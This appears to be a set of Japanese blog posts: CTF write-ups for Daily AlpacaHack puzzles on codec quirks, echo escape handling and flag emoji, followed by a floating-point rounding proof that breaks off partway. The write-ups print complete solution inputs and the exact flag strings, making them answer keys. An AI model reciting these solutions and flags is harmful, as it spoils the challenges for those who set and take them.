Writeup for EncodeDecode, Daily AlpacaHack 2026/3/28

Daily AlpacaHack 2026/3/28 の write-up です。

alpacahack.com

解法

下手なエンコーディング方式あるあるとして、encode(x) == x かつ decode(x) != x となるような x がありそうです。 それはそれとして、探すの大変そうだな〜という気持ちになったので、「あったらいいな〜」という気持ちで問題文通りに全探索をしました。

listcodecs を参考にして、1 バイトの例を全探索しました。

search.py

import codecs
import encodings
import os

for name in os.listdir(encodings.__path__[0]):
    name = name[:-3]
    try:
        codecs.lookup(name)
        "".encode(name)
    except (LookupError, UnicodeError):
        continue

    for i in range(128):
        c = chr(i)
        try:
            if c.encode(name).decode(name) != c:
                print(name, repr(c), i)
        except (UnicodeEncodeError, UnicodeError):
            continue

iso2022_kr '\x0e' 14
iso2022_kr '\x0f' 15

理由はよくわからないですがこういう例があるらしいです。

>>> b'\x0e'.decode('iso2022_kr')
''
>>> b'\x0e'.decode('iso2022_jp')
'\x0e'

% echo -n '\x0e' | iconv -f ISO-2022-KR | xxd
#> iconv: (stdin):1:0: cannot convert
% echo -n '\x0e' | iconv -f ISO-2022-JP | xxd
#> 00000000: 0e                                       .

ということで、\x0e を送ればいいわけです。特殊な文字が 1 文字程度であれば pwntools とかで通信するよりも直接打つ方が楽なので、そうしちゃいます。

% nc 34.170.146.252 51958
#> text> ^N
#> encoding> iso2022_kr
#> Check failed - !?
#> Here is your flag: Alpaca{w0w_th1s_a55umpt10n_was_fa1se_7oo}

^N の部分は C-n とか C-v C-n とかで入力します。 Alpaca{w0w_th1s_a55umpt10n_was_fa1se_7oo} 👏

あとがき

深掘って調べようと思いましたが時間と気力が足りなかったので投げ出しました。 CRC-256 の author’s write-up もまだ書き切れていないし、他に書きたい記事も進んでいないし、その他やらなきゃなこともやっていないし、だらだらとテトリスをして遊んでいます。あ〜〜 🙄

おわり

おわりです。

Writeup for Haec Horrenda, Daily AlpacaHack B-SIDE 2026/3/19

Daily AlpacaHack B-SIDE 2026/3/19–2026/3/22 の author’s write-up です。

alpacahack.com

導入

echo というコマンドがあります。 基本的な用途としては、引数で指定した文字列をそのまま表示させるものですが、引数として渡すオプションが存在しているため、工夫なしには表示できないような文字列もあります。他にも、特殊な文字列（エスケープシーケンス）を与えると、そのままの文字列の代わりにその文字列を解釈した結果が表示されます。

また、echo にはシェルの組み込み関数として用意されているものや、外部コマンド（シェルの組み込み関数としてではなく独立の実行ファイルやスクリプトとして存在していて、シェルからそれを呼び出す形式のもの）として用意されているものがあります。 これらの echo には互換性がなく、また別々のシェルの echo は別々の仕様だったりもします。

ということで、こうした echo の仕様やそれぞれの違いについて学べたらいいなという趣旨の問題です。

解法例

まず、問題は 3 つのラウンドに分かれています。

• Round 1: 特定の文字列を出力させる
• Round 2: 同じ長さの入力から、異なる長さの文字列を出力させる
• Round 3: 互換性のない入力を探す

Round 1 と 2 は外部コマンドの echo (GNU Coreutils)、Round 3 は Bash と Zsh の組み込みの echo と外部コマンドの echo を使っています。 それらの echo のマニュアルは下記です。必要に応じて読みましょう。

• echo(1) または GNU Coreutils > 15.1 echo: Print a line of text
• bash(1) > SHELL BUILTIN COMMANDS > echo
• zshbuiltins(1) > echo または The Z Shell Manual > 17 Shell Builtin Commands > echo

Round 1

まずは GNU Coreutils の echo です。-e と --version を出力できるかな？という問題です。 単に echo -e や echo --version と実行すると、前者は改行文字だけ、後者は下記の出力になってしまいます。

echo (GNU coreutils) 9.4
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by Brian Fox and Chet Ramey.

- で始まるものがオプションとして扱われてしまっているわけです。

多くのコマンドでは、 -- という引数を与えることで、それ以降の引数は - で始まっていてもオプション扱いしないという挙動になっていますが、echo ではそうはなっていません。実際、-- -e を試すと b'-- -e\n' が出力されてしまいます*1。

先に示したマニュアルに次の記述があり、それを参考にするとよさそうです。

To echo the string ‘-n’, one of the characters can be escaped in either octal or hexadecimal representation. For example, echo -e '\x2dn'.

すなわち -e \x2de と与えることで通過できます。--version についても同様ですが、こちらは -e \x2d-version とせずに -e --version としても通過できます。

Round 2

マニュアルを読むと、-e で有効化できるエスケープシーケンスの中に \c というのがあって、それ以降は出力をしない (produce no further output) ということがわかります。

実際、\c...... を与えると b'' が、.\c..... を与えると b'.' が返ってくることが確かめられます。 同様の方針で ......\c の b'......' までは解けるので、あとは 7 バイトのケースと 8 バイトのケースを考えればよいです。

\nnn というのがあり、文字コードを 8 進数で表したものを与えると該当の文字を出力してくれます。nnn の部分は可変長なので、うまく使えそうです。 ということで、.....\56 を与えると b'......\n'、......\\ を与えると b'......\\\n' が返ってくるため、これらのケースもクリアできました。

なお、末尾の改行を出力しない -n オプションを使いつつ、オプションの文字を複数並べた場合の挙動（-ene と与えると -e -n -e と与えたのと等価になる）を利用すると、0 バイトのケースと 1 バイトのケースはそれぞれ -nnnnnnn と -eeeeeee でも突破することができます。

Round 3

さて、嫌なパートです。

xkcd.com

それぞれのマニュアルを見ながら、それぞれがどのエスケープシーケンスをサポートしているかを見ていきましょう。

入力	Coreutils	Bash	Zsh
\\	✅	✅	✅
\E	❌	✅	❌
\a	✅	✅	✅
\b	✅	✅	✅
\c	✅	✅	✅
\e	✅	✅	✅
\f	✅	✅	✅
\n	✅	✅	✅
\r	✅	✅	✅
\t	✅	✅	✅
\v	✅	✅	✅
\0nnn	✅	✅	✅
\nnn	✅	❌	❌
\xHH	✅	✅	✅
\uHHHH	❌	✅	✅
\UHHHHHHHH	❌	✅	✅

よって、Coreutils のみが長いケース (❌ ✅ ✅)・Coreutils のみが短いケース (✅ ❌ ❌)、Bash のみが短いケース (❌ ✅ ❌) は得られるため、一旦次のようになります。

• |bash| = |zsh| < |gnu|: -e \u0033
• |bash| = |zsh| > |gnu|: -e \33
• |zsh| = |gnu| < |bash|: ？？？
• |zsh| = |gnu| > |bash|: -e \E
• |gnu| = |bash| < |zsh|: ？？？
• |gnu| = |bash| > |zsh|: ？？？

さて、Zsh のドキュメントの echo の項には次の記述があります。

[...] a single dash does terminate option processing, so the first dash, possibly following options, is not printed, but everything following it is printed as an argument. The single dash behaviour is different from other shells.

note: ここでいう dash は - のことです。

ということで - を与えると Zsh でのみ b'\n' が返り、他では b'-\n' が返ってきます。これを用いつつ他のもので調整することにより、次の解答が得られます。

• |bash| = |zsh| < |gnu|: -e \u0033
• |bash| = |zsh| > |gnu|: -e \33
• |zsh| = |gnu| < |bash|: -e - \33
• |zsh| = |gnu| > |bash|: -e \E
• |gnu| = |bash| < |zsh|: -e \E\E\33
• |gnu| = |bash| > |zsh|: -

あるいは、少し遊んでいると、\x を与えたときの挙動が Zsh でのみ異なることに気づきます。他のバージョンでは b'\\x' が返ってくるのに対し、Zsh では b'\x00' が返ってきます。前者が 2 バイトで後者が 1 バイトであることに注意しましょう。\\u や \\U などでも同様です。

これを踏まえると、「あるシェルでは 1 バイトになるが、他のシェルでは 2 バイトになる列」というのが各シェルについて得られたことになります。

入力	Coreutils	Bash	Zsh
-e \1	b'\x01' (1)	b'\\1' (2)	b'\\1' (2)
-e \E	b'\\E' (2)	b'\x1b' (1)	b'\\E' (2)
-e \x	b'\\x' (2)	b'\\x' (2)	b'\x00' (1)

これらのうち二つを合わせることで、「それらのシェルでは 3 バイトになるが、残りのシェルでは 4 バイトになる列」すなわち「あるシェルでは 4 バイトになるが、他のシェルでは 3 バイトになる列」が得られます。

よって、次の解答が得られます。

• |bash| = |zsh| < |gnu|: -e \E\x
• |bash| = |zsh| > |gnu|: -e \1
• |zsh| = |gnu| < |bash|: -e \1\x
• |zsh| = |gnu| > |bash|: -e \E
• |gnu| = |bash| < |zsh|: -e \1\E
• |gnu| = |bash| > |zsh|: -e \x

他にも、Coreutils の --help や --version を利用する解法もあります。

まとめると次のようになります。

-e \x2de
-e --version
-nnnnnnn
-eeeeeee
..\c....
...\c...
....\c..
.....\c.
......\c
.....\56
......\\
-e \E\x
-e \1
-e \1\x
-e \E
-e \1\E
-e \x

これを solution.txt とし、次のようにすることでフラグを得られます。

% nc 34.170.146.252 61688 < solution.txt

Alpaca{echo \151\163 \x61 nice program\contradicting its own name} 👏

あとがき

フラグの内容は echo is a nice program contradicting its own name です。そもそも echo は反響のことで、打った文字列をそのまま返してくれるところから名前がついていると思うのですが、実態はそうなっていなくて面白いことだなあという気持ちです。もはや echo のことを単に「出力する」「表示する」みたいな意味合いで認識しているような気もします。float や long を「浮く」「長い」ではなく特定の数値型だと認識しているのと似ている気がします。

問題名 haec horrenda はラテン語で these horrible [things] の意味で、echo たちを指しているつもりです。echo を部分文字列に含むフレーズを考えていたのですが、英語でうまく作れなかったためこうなりました。

hos Helenus scopulos, haec saxa horrenda canebat (Vergilius, Aeneidos 3.559).

echo 自体の話に戻ります。Zsh 始めたての人が echo 'foo\nbar' と書いて foo と bar の行が表示されて「'...' の中に \n を書くと改行扱いになるのね〜」と解釈してしまいがちな気がします。echo のような「与えたものを表示するだけのことを期待している機能」でこうした特殊な処理が行われると、「こういうものを与えると（与える前の段階で）こういう風になっているんだろう」という誤解が起きがちです。 「print(1.0 / 10.0) で 0.1 と出力されるので、1.0 / 10.0 は 0.1 なんだろう（$0.1$ を正しく計算できているんだろう）」とか、そういうのも近しい誤解な気がします。

「echo -e '\x61' と書いたとき、echo に渡ってくる段階では b'\\x61' で、それを echo が解釈して出力した結果 b'a' になっている」「echo $'\x61' と書いたとき、シェルの機能として $'\x61' が b'a' として扱われているため、echo に渡ってくる段階で b'a' になっている」といったような、どの段階でどう扱われているのかを意識するといいのかなという気がします。

おわり

おわりです。今後は Crypto も出題できたらいいなと思っています。

*1:以降、Python のバイト列のリテラルとして返り値を表現することにします。

Writeup for flags for the FLAG, Daily AlpacaHack 2026/3/19

Daily AlpacaHack 2026/3/19 の author’s write-up です。

alpacahack.com

解法例

output.txt のこれな〜んだ？という問題です。

🇦🇱🇵🇦🇨🇦{🇴🇲🇬🇮🇳🇺🇳🇮🇨🇴🇩🇪🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇵🇦🇮🇷🇸🇬🇮🇻🇪🇺🇸🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇲🇪🇦🇳🇮🇳🇬}

生成コードの chal.py を読むに、'A' は b'\xf0\x9f\x87\xa6'、'B' は b'\xf0\x9f\x87\xa7'、... という感じで変換されています。 これらのバイト列を出力してみると、特殊な A 的なものが表示されているように見えます。

% echo $'\xf0\x9f\x87\xa6'
#> 🇦

便宜上 #> で出力の行を示しています。フォントによる気もしますが、えびちゃんには破線の四角で囲まれた A が見えています。

xxd(1) などを用いて output.txt を見ると、たしかに b'\xf0\x9f\x87\xa6' (A) などの列になっていることがわかります。

% xxd -l 32 output.txt
#> 00000000: f09f 87a6 f09f 87b1 f09f 87b5 f09f 87a6  ................
#> 00000010: f09f 87a8 f09f 87a6 7bf0 9f87 b4f0 9f87  ........{.......

% echo $'\xf0\x9f\x87\xa6'
#> 🇦
% echo $'\xf0\x9f\x87\xb1'
#> 🇱
% echo $'\xf0\x9f\x87\xa6\xf0\x9f\x87\xb1'
#> 🇦🇱

どうやら、「🇦」と「🇱」を繋げて表示させようとすると「🇦🇱」になるようです。ここで、「🇦🇱」はアルバニア共和国の国旗で、この国の国名コード (ISO 3166-1 alpha-2) は AL です。

同様にして 🇵 + 🇦 = 🇵🇦 はパナマ共和国、🇨 + 🇦 = 🇨🇦 はカナダです。 すなわち、🇦🇱🇵🇦🇨🇦 の部分は ALPACA に対応していることがわかります。

chal.py の逆向きの操作をするコードを書くことで、残りの文字についても復元することができます。 国旗と国名コードに詳しい人であれば、絵文字を見ながらそのまま国名コードを言い当てられるような気もします。

solve.py

import re

FLAG = "🇦🇱🇵🇦🇨🇦{🇴🇲🇬🇮🇳🇺🇳🇮🇨🇴🇩🇪🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇵🇦🇮🇷🇸🇬🇮🇻🇪🇺🇸🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇲🇪🇦🇳🇮🇳🇬}".encode()

res = re.sub(
    b"\xf0\x9f\x87(.)",
    lambda m: chr(ord(m.group(1)) + ord("A") - 0xA6).encode(),
    FLAG,
)
print(res.decode().capitalize())

Alpaca{omginunicodethespecificpairsgiveusthespecificmeaning} 🇨🇭🇪🇪🇷🇸

ところで、国旗としてレンダリングされない環境で output.txt を見るとただの囲み文字が見えるだろうので、単に手でフラグを書き写すだけになってしまいますね。chal.py があるので手で書き写す以外の方法があるということはわかると思います。UTF-8 以外の文字コードとしてファイルを開いてしまった場合も意図しない感じになってしまいますが、よしなにしていただけるとうれしいです。

あとがき

フラグの内容は “OMG, in Unicode the specific pairs give us the specific meaning.” です。たとえば 🇼🇴🇷🇩 のように国名コードとして有効でない列（執筆時点）を並べても国旗として表示されないため、国名コード列として有効かつそれっぽい意味を持つ文章を作るのに苦労しました。温かみのある手作業で試行錯誤しながらの作文でした。

アルパカと関連があるらしい動物さんであるところの vicuña, vicugna も表せるらしいです。🇻🇮🇨🇺🇬🇳🇦🇸{🇦🇷🇪🇸🇮🇲🇮🇱🇦🇷🇹🇴🇦🇱🇵🇦🇨🇦}。

元素記号として存在する文字列だけを使って英作文をするみたいな遊びとも似ている気がします。一度はやったことがある人もいるかもしれません。 たとえばこういうやつですね。“PrOFeSSiONAl HAcKErS CaN OBTaIn ThAt FlAg InSTaNTlY.”

chal.py 内の関数名の risl は regional indicator symbol letter の頭文字です。 たとえば 🇦 には REGIONAL INDICATOR SYMBOL LETTER A という名前がついています (ref)。 Python の \N{...} などを使うことでも確かめられます。

>>> '\N{REGIONAL INDICATOR SYMBOL LETTER A}'
'🇦'
>>> import unicodedata
>>> unicodedata.name('🇦')
'REGIONAL INDICATOR SYMBOL LETTER A'

また、Unicode® Technical Standard #51: Unicode Emoji の Annex B: Valid Emoji Flag Sequences にもいろいろと記載があります。これらの列は、特定の地域を示すものであり、その地域に対応する特定の旗を示すものではないらしいです。

ところで、FLAG を名前に含む文字としては下記が挙げられます。

• ⚐ (WHITE FLAG)
• ⚑ (BLACK FLAG)
• ⛳ (FLAG IN HOLE)
• ⛿ (WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE)
• 𝅮 (MUSICAL SYMBOL COMBINING FLAG-1)
• 𝅯 (MUSICAL SYMBOL COMBINING FLAG-2)
• 𝅰 (MUSICAL SYMBOL COMBINING FLAG-3)
• 𝅱 (MUSICAL SYMBOL COMBINING FLAG-4)
• 𝅲 (MUSICAL SYMBOL COMBINING FLAG-5)
• 🎌 (CROSSED FLAGS)
• 🏁 (CHEQUERED FLAG)
• 🏳 (WAVING WHITE FLAG)
• 🏴 (WAVING BLACK FLAG)
• 📪 (CLOSED MAILBOX WITH LOWERED FLAG)
• 📫 (CLOSED MAILBOX WITH RAISED FLAG)
• 📬 (OPEN MAILBOX WITH RAISED FLAG)
• 📭 (OPEN MAILBOX WITH LOWERED FLAG)
• 🚩 (TRIANGULAR FLAG ON POST)

おわり

おわりです。出題中の B-SIDE もよろしくお願いします。

x / y * y == x となる確率について

double において 1.0 / 49.0 * 49.0 < 1.0 が true になることは有名です。 では、一般に x / y * y == x となるのはどういうときでしょうか？ また、その誤差はどのくらいでしょうか？

こうした疑問自体はある程度自然であり、素朴なアルゴリズムの誤差評価の文脈でも出てくるものではあります。 これについて考えていたところ次のような定理を示せたので、今回はそれの話をします。

Theorem: 仮数部が $p$ bits の浮動小数点型において、$x, y\in [1\lldot 2)$ を一様ランダムに選ぶ。このとき、$(x\oslash y)\otimes y = x$ が成り立つ確率は $\ln(4)-\tfrac12+O(2^{-p})$ である。

すなわち、十分大きい $p$ において $0.886294$ 程度の確率で $(x\oslash y)\otimes y = x$ が成り立つということです。 精度を上げても確率 $1$ に近づくわけではなく、たとえば float, double, long double, __float128 のどれであってもほぼ同様の確率でそうなります。

記法

$\roundcirc{x}$ で、実数 $x$ を $p$-bit 仮数部の浮動小数点型に丸めた値を表します。 $x \otimes y$ と $x \oslash y$ で、それぞれ浮動小数点型における乗算 $\roundcirc{xy}$ と除算 $\roundcirc{x/y}$ を表します。

実数 $x\gt 0$ について、$2^e\le x\lt 2^{e+1}$ を満たす唯一の整数 $e$ に対して $\hfloor{x}=2^e$ とします。

観察

（まずは、上記の定理の存在を知らない時点のえびちゃんに遡って、追体験をお届けします。）

浮動小数点数で誤差が問題になる状況において、仮数部の桁数を上げれば解決するものとそうでないものがあります。 $(x\oslash y)\otimes y \ne x$ が成り立つような $(x, y)$ は __float128 でも依然として存在するものですし、今回は後者であろうと予想するのが自然そうです。

そうした状況においては、仮数部が短い浮動小数点型を自前で実装・エミュレートする方法が有効です。 速度が非常に重要になるわけでもないため、四則演算（や FMA や平方根）の correct rounding な実装をするのは比較的容易です。 これらの演算については IEEE 754 下で correct rounding を仮定できるため、ふつうの処理系に関してはそういう前提で考えてよいでしょう。

整数性を使うにあたって便利なので、$[1\lldot 2)$ の代わりに $\{2^{p-1}, \dots, 2^p-1\}$ で考えます。指数部で $2^{p-1}$ 倍の調整をするだけなので一般性は変わりません。

というわけで、$p \in \{4, 5, \dots, 9\}$ で実験してみます。 下方向を $+x$、右方向が $+y$（いわゆる $x$-$y$ で連想する方向を時計回りに $90^\circ$ 回した形）で、$(x\oslash y)\otimes y$ の値で色分けをしています。白が $x$、ピンクが $x-2^{-p}$、赤が $x-2^{-p+1}$、青が $x+2^{-p+1}$ です。

$p=4$

$p=5$

$p=6$

$p=7$

$p=8$

$p=9$

わ、これは何らかの規則性があると見るのが自然でしょう。えびちゃんもこれにはびっくりです。アーチ上の模様が積み重なっているように見えます。

え、こわ、非自明な結果出るのやめてもらっていいですか？ 証明しなきゃいけなくなっちゃうので...

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年2月27日

え、めちゃこわくなってきた

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年2月27日

ということで、この規則性っぽい部分について考察すれば、何かしらが求められそうです。

基本的な性質たち

丸めに関して基本的な性質をまとめておきます。改めての証明は行いません。

Property 0.1: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、 $$ \roundcirc{x} = \begin{cases} n, & \text{if~}r \lt \tfrac12; \\ n, & \text{if~}r = \tfrac12 \wedge n \equiv 0 \pmod 2; \\ n+1, & \text{if~} r = \tfrac12 \wedge n \equiv 1 \pmod 2; \\ n+1, & \text{if~} r \gt \tfrac12 \end{cases} $$ が成り立つ。

Property 0.2: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、$|{\roundcirc{x}-x}|\le \tfrac12$ が成り立つ。

考察

Lemma 1: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ とする。このとき、下記が成り立つ。 $$ (x\oslash y)\otimes y \in \begin{cases} \{x-\tfrac12, x\}, & \text{if~}x = 2^{p-1}; \\ \{x\}, & \text{if~}x \gt 2^{p-1} \wedge x \le y; \\ \{x-1, x, x+1\}, & \text{if~}x \gt 2^{p-1} \wedge x\gt y. \end{cases} $$

Proof

Case 1: $x = 2^{p-1}$.

$x = y$ のとき明らかに $(x\oslash y)\otimes y = x$ であるから、以降 $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

$2^{p-1}\le x/y\cdot 2^p\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^p}\cdot 2^{-p} - x/y| \\ &= |\roundcirc{x/y\cdot 2^p} - x/y\cdot 2^p| \cdot 2^{-p} \\ &\le \tfrac12\cdot 2^{-p} = 2^{-p-1} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p-1}$ を用いて $x\oslash y = x/y+\delta$ と表せ、 $$ \begin{aligned} (x\oslash y)\otimes y &= (x/y+\delta)\otimes y \\ &= \roundcirc{(x/y+\delta)\cdot y} \\ &= \roundcirc{x+\delta y} \end{aligned} $$ である。$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ であるから、 $$ (x\oslash y)\otimes y = \begin{cases} x-\tfrac12, & \text{if~} -\tfrac12 \lt \delta y \lt -\tfrac14; \\ x, & \text{if~} -\tfrac14 \le \delta y \lt \tfrac12 \end{cases} $$ が成り立つ。

Case 2: $x\gt 2^{p-1} \wedge x\le y$.

Case 1 同様にして $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

ある $|\delta|\le 2^{-p-1}$ に対して $(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せ、$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ なので $(x\oslash y)\otimes y = x$ が従う。

Case 3: $x\gt 2^{p-1} \wedge x\gt y$.

このとき $1\lt x/y\lt 2$ より $\hfloor{x/y} = 1$ である。

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} - x/y| \\ &= |\roundcirc{x/y\cdot 2^{p-1}} - x/y\cdot 2^{p-1}| \cdot 2^{-p+1} \\ &\le \tfrac12\cdot 2^{-p+1} = 2^{-p} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p}$ に対して$(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せる。 $y\lt 2^p$ より $|\delta y| \lt 1$ であるから、 $$ (x\oslash y)\otimes y \in \{x-1, x, x+1\} $$ が従う。$\qed$

Lemma 2: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x-1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (r\gt 2^{p-2})\wedge (r\lt y-r) )\vee( (r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof

Case 1: $r\lt 2^{p-2}$.

このとき $(x\oslash y)\otimes y = x$ を示す。$r/y \lt 2^{p-2}/2^{p-1} = \tfrac12$ が成り立つ。

ある $q\in\Z$ が存在して $x\cdot 2^{p-1}=qy+r$ と表せる。 $2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= q\cdot 2^{-p+1} \end{aligned} $$ であり、$r\cdot 2^{-p+1} \lt \tfrac12$ に注意して $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{qy}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}-r}\cdot 2^{-p+1} \\ &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x \end{aligned} $$ が成り立つ。

Case 2: $r = 2^{p-2}$.

このとき $x\bmod 2=0 \iff (x\oslash y)\otimes y = x$ を示す。

Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= \roundcirc{x-\tfrac12} \end{aligned} $$ であり、Property 0.1 より従う。

Case 3: $r\gt 2^{p-2}$.

このとき $r/y\lt \tfrac12 \iff (x\oslash y)\otimes y = x-1$ を示す。

Case 3-1: $r/y\lt \tfrac12$.

$r\cdot 2^{-p+1} \gt \tfrac12$ に注意しつつ Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x-1 \end{aligned} $$ が成り立つ。

Case 3-2: $r/y = \tfrac12$.

これを満たす $(x, y)$ は存在しないことを背理法で示す。

$r = \tfrac y2$ とすると、$x\cdot 2^{p-1} = qy+\tfrac y2$、すなわち $x\cdot 2^p = (2q+1)\cdot y$ が成り立つ。 $x$ は整数であるから左辺は $2^p$ で割り切れるが、$y\lt 2^p$ なので右辺は $2^p$ で割り切れないため矛盾。

Case 3-3: $r/y \gt \tfrac12$.

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= (q+1)\cdot 2^{-p+1}. \end{aligned} $$ $r\lt y$ より $$ \begin{aligned} (x\oslash y)\otimes y &= ( (q+1)\cdot 2^{-p+1})\otimes y \\ &= \roundcirc{( (q+1)\cdot 2^{-p+1})\cdot y} \\ &= \roundcirc{qy + y}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}+y-r}\cdot 2^{-p+1} \\ &= \roundcirc{x + (y-r)\cdot 2^{-p+1})} \\ &\ge \roundcirc{x}\cdot 2^{-p+1} \\ &= x\cdot 2^{-p+1}. \quad\qed \end{aligned} $$

Lemma 3: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x+1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (y-r\gt 2^{p-2})\wedge (r\gt y-r) )\vee( (y-r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof. Lemma 2 と同様にして示せる。$\qed$

Lemma 4: $x, y\in \{2^{p-1}+1, \dots, 2^p-1\}$ に対し、$r_y(x) = x\cdot 2^{p-1}\bmod y$ とする。

$x\gt y$ とし、正整数 $k$ に対して $\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ が下記をすべて満たすとする。

• 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
• $r_y(x-1) \lt r_y(x)$
• $r_y(x+k-1) \lt r_y(x+k)$

このとき、ちょうど一つの $i\in\{0, 1, \dots, k-1\}$ に対して $( (x+i)\oslash y)\otimes y \ne x+i$ が成り立つ。

Proof

$0\lt y-2^{p-1}\lt 2^{p-1}\lt y$ が成り立つことに注意する。任意の $0\le i\lt k-1$ に対し、 $$ \begin{aligned} r_y(x+i+1) &= (x+i+1)\cdot 2^{p-1}\bmod y \\ &= ( (x+i)\cdot 2^{p-1} + 2^{p-1})\bmod y \\ &= ( (x+i)\cdot 2^{p-1} - (y - 2^{p-1}) )\bmod y \\ &= r_y(x+i) - (y-2^{p-1}) \end{aligned} $$ が成り立つ。よって、$\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ は交差 $-(y-2^{p-1})$ の等差数列である。

Case 1: $2^{p-2} \in \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

$y - r_y(x+i) = 2^{p-2} \iff r_y(x+i+1) = 2^{p-2}$ であることと $(x+i)\bmod 2 = 1$ と $(x+i+1)\bmod 2 = 1$ のうちどちらか片方のみが成り立つことから従う。

Case 2: $2^{p-2} \notin \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

Lemmata 2–3 を踏まえると、$( (x+i)\oslash y)\otimes y\ne x+i$ であることは $r_y(x+i)$ が $\angled{2^{p-2}, \dots, y-2^{p-2}}$ に含まれることと同値である。 $\angled{2^{p-2}, \dots, y-2^{p-2}}$ は連続する $y-2^{p-1}+1$ 個の整数であり、交差 $-(y-2^{p-1})$ であり $2^{p-2}$ を含まない等差数列との共通部分はちょうど 1 つである。$\qed$

Lemma 5: $y\in \{2^{p-1}+1, \dots, 2^p-1\}$ とする。 $(x\oslash y)\otimes y \ne x$ かつ $x\gt 2^{p-1}$ なる $x$ の個数は $-y + 3\cdot 2^{p-1} - 2^{2p-1}/y+O(1)$ 個である。

Proof

下記を満たす連続部分列の個数は、高々 1 つである。

• 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
• $x-1 = y$
• $r_y(x+k-1) \lt r_y(x+k)$

また、下記についても同様である。

• 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
• $r_y(x-1) \lt r_y(x)$
• $x+k-1 = 2^p$

これらの連続部分列に対応する $i$ のうち $( (x+i)\oslash y)\otimes y \ne x+i$ となるものは高々 1 つである。

各 $i$ に対して、$q_i$ が存在して $r_y(y+i) = r_y(y) - i(y-2^{p-1}) + q_iy$ が成り立つ。求める値は $q_{2^p-y}+O(1)$ となる。 $$ \begin{aligned} q_{2^p-y}y &= r_y(2^p) - r_y(y) + (2^p-y)(y-2^{p-1}) \\ &= (2^{2p-1}\bmod y) - 0 + (2^p-y)(y-2^{p-1}) \\ &= (2^p-y)(y-2^{p-1}) + O(y) \end{aligned} $$ であり、 $$ \begin{aligned} \frac{(y-2^{p-1})(2^p-y)}y &= \frac{2^p\cdot y - y^2 -2^{2p-1} + 2^{p-1}\cdot y}y \\ &= -y + 3\cdot 2^{p-1} - 2^{2p-1}/y \end{aligned} $$ であるから、 $$ q_{2^p-y} = -y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1) $$ となる。$\qed$

Theorem 6: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ を一様ランダムに選んだとき、$(x\oslash y)\otimes y = x$ となる確率は $\ln(4)-\tfrac12+O(2^{-p}) \approx 0.886294$ である。

Proof

余事象を考える。 まず、Lemma 1 より $( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ である。

